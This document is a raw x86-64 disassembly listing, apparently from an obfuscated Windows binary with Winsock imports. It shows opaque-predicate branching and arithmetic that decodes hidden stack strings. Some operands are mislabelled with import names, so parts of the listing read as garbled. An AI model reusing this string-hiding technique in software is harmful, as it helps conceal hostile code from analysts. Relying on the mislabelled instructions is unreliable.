lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007db57
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007db3a
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007d2f8
lea rcx, [r8 + 8]
cmp rbx, rcx
jb 0x14007d2dd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007d2c2
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007d4e5
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007d4a0
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007d464
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007d43c
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007d110
mov rbx, rcx
lea r8, [rcx + 2]
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14007d40d
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14007d3f0
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14007d3d5
lea rcx, [r8 + 0x61]
cmp rbx, rcx
ja 0x14007d3b8
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007d39b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007d380
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007d35d
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14007d334
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007d315
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007d110
mov rbx, rcx
lea r8, [rcx + 0x80]
jmp 0x14007d110
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
jmp 0x14007d100
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x14007d0a7
add r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
jmp 0x14007d030
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007da02
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007d013
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x14007d013
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
jmp 0x14007d924
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14007d946
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x14007d949
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14007da8a
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x14007daca
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
add r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7b
mov byte [rbp + r11 + 0x2e0], dil
inc r11
jmp 0x14007d013
lea ecx, [r9 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
cmp r8, 0x42
jb 0x14007d454
lea ecx, [r9 + 0x66]
movzx eax, cl
and al, r10b
mov edx, 0x1b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14007da02
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
cmp rbx, 0x2a
jae 0x14007d90b
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x14007d856
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x14007d47a
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x14007d962
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14007d77e
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x14007d4b6
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x14007daca
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x14007da8a
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x14007d949
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x14007d946
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14007d924
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
dec r11
inc r11
jmp 0x14007d013
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x14007d013
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x14007da02
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14007d672
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x14007d4fb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d6aa
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d6ce
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14007da8a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d6f4
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
jmp 0x14007d946
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007d720
add r9b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
dec r11
inc r11
jmp 0x14007d013
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d752
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007d013
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007d4fb
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007da02
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d7a2
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x14007da02
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d7ce
sub r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x55
dec r11
inc r11
jmp 0x14007d013
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007d7f4
sub r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x71
jmp 0x14007d946
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d81a
sub r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7f
jmp 0x14007d949
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007d4b6
sub r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x57
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d88e
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d8b2
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007da8a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d8d8
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007d946
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007d47a
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d013
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x2e0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007d013
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007da8a
sub r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6f
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
sub r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3d
dec r11
inc r11
jmp 0x14007d013
lea ecx, [r9 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x21
jmp 0x14007da02
movzx r9d, r11b
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
sub r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x51
add r9b, r10b
mov byte [rbp + r11 + 0x2e0], r9b
inc r8
dec r11
inc r11
jmp 0x14007d013
lea ecx, [r11 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
inc r8
dec r11
inc r11
jmp 0x14007d013
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
dec r11
inc r11
jmp 0x14007d013
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x4f
movzx r9d, r11b
sub r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x6d
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x2e0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007daca
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x5d
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x2e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x6b
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d013
add r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x14007d010
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x14007d000
lea rcx, [rbp + 0x156d18c]
jmp 0x14007db8d
lea rcx, [rbp + 0xdaac0d]
jmp 0x14007db8d
lea rcx, [rbp + 0x2e0]
lea rdx, [0x1401feb82]
call fcn.140039a40
mov byte [rbp + 0x660], 0x51
mov byte [rbp + 0x661], 0x7f
mov byte [rbp + 0x662], WSASetLastError
mov byte [rbp + 0x663], 0x75
mov byte [rbp + 0x664], 0x7c
mov byte [rbp + 0x665], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x666], 0x26
mov byte [rbp + 0x667], 0x5d
mov byte [rbp + 0x668], 0x57
mov byte [rbp + 0x669], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x66a], 0x22
mov byte [rbp + 0x66b], 0x42
mov byte [rbp + 0x66c], 0x8e
mov byte [rbp + 0x66d], 0x8f
mov byte [rbp + 0x66e], WSASetLastError
mov byte [rbp + 0x66f], __WSAFDIsSet
mov byte [rbp + 0x670], __WSAFDIsSet
mov byte [rbp + 0x671], 0x1d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x672], xmm0
mov dword [rbp + 0x682], eax
mov byte [rbp + 0x686], al
movabs r14, 0x955da6c367f53502
movabs r12, 0xead441d107ca090a
movabs r15, 0xc018f44a37df9f06
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x27
jae 0x14007e760
movzx r9d, byte [rbp + r11 + 0x660]
mov esi, r9d
nop dword [rax + rax]
cmp rbx, r11
ja 0x14007e757
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007dcac
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0xe
jmp 0x14007dcd9
je 0x14007e6e8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007e68c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e62d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007e5df
movzx r10d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007e74e
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007dd0d
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
jmp 0x14007dd50
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007e5c6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e5a3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007e595
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007e575
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007e546
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007e2a2
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007e286
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007e260
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007e23d
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007e221
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007e204
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007e1e4
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007e1c8
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007e1a8
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007e176
lea rbx, [r8 + 5]
lea r8, [rbx + 0x10]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007e731
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007e714
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007df44
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007df25
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007df06
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007e125
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007e0ad
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007e085
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007dd60
lea rbx, [r8 + 4]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007e056
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007e036
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007e01a
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007dffa
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007dfda
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007dfcc
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007dfa6
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007df80
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007df64
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007dd60
lea rbx, [r8 + 0x28]
lea r8, [rbx + 9]
jmp 0x14007dd60
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007dd50
lea edx, [r10 + 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
add dil, dl
jmp 0x14007dce0
add r10b, 0xe
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x62
add dil, r10b
jmp 0x14007dc80
lea edx, [r10 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
jmp 0x14007e5fa
add r10b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
inc r8
dec r11
inc r11
jmp 0x14007dc65
add r10b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007dc65
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x14007e63a
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e670
add r10b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e673
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e510
add r10b, 0x34
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, r10b
jmp 0x14007e6a1
add r10b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
add r10b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
mov byte [rbp + r11 + 0x660], dil
inc r11
jmp 0x14007dc65
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 0x1000
jae 0x14007e4e1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14007e42b
lea edx, [r10 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
add dil, dl
cmp r8, 0x400
jb 0x14007e09d
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x28]
jmp 0x14007e5fd
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x14007e4fc
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14007e376
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
jmp 0x14007e0c4
sub r10b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
sub r10b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e6a1
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e510
sub r10b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e673
sub r10b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x14007e670
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
jmp 0x14007e648
sub r10b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x14007dc65
sub r10b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x14007dc65
lea edx, [r10 - 0x24]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 4
jmp 0x14007e5fa
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14007e2c7
lea edx, [r10 + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xe
jmp 0x14007e13c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e2ff
add r10b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e324
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e510
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007e34d
add r10b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e670
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e13f
lea edx, [r10 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x14007e5fa
jne 0x14007e394
lea edx, [r10 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
jmp 0x14007e5fa
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e3c6
sub r10b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007dc65
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e3ef
sub r10b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e673
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007e0c7
sub r10b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e466
sub r10b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e48c
sub r10b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14007e670
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e4b1
lea edx, [r10 - 0x44]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
jmp 0x14007e648
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e0fb
sub r10b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x14007dc65
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
jmp 0x14007e648
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r10b, 0x2a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x660], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007e6a1
add r10b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0x660]
add rax, r8
add r11, rax
inc r11
jmp 0x14007dc65
add r10b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e673
lea edx, [r10 + 0x3a]
mov ecx, gethostname
jmp 0x14007e63a
add r10b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
dec r11
inc r11
jmp 0x14007dc65
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
jmp 0x14007e5fa
movzx r10d, r11b
lea edx, [r10 + 0x26]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xa
add dil, dl
sub r10b, 0x32
movzx eax, r10b
and al, r9b
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x660], cl
inc r8
dec r11
inc r11
jmp 0x14007dc65
movzx r10d, r11b
lea edx, [r10 + 0x1a]
mov ecx, 0x25
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r10b, 0x2e
movzx eax, r10b
and al, r9b
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x660], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007dc65
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x46
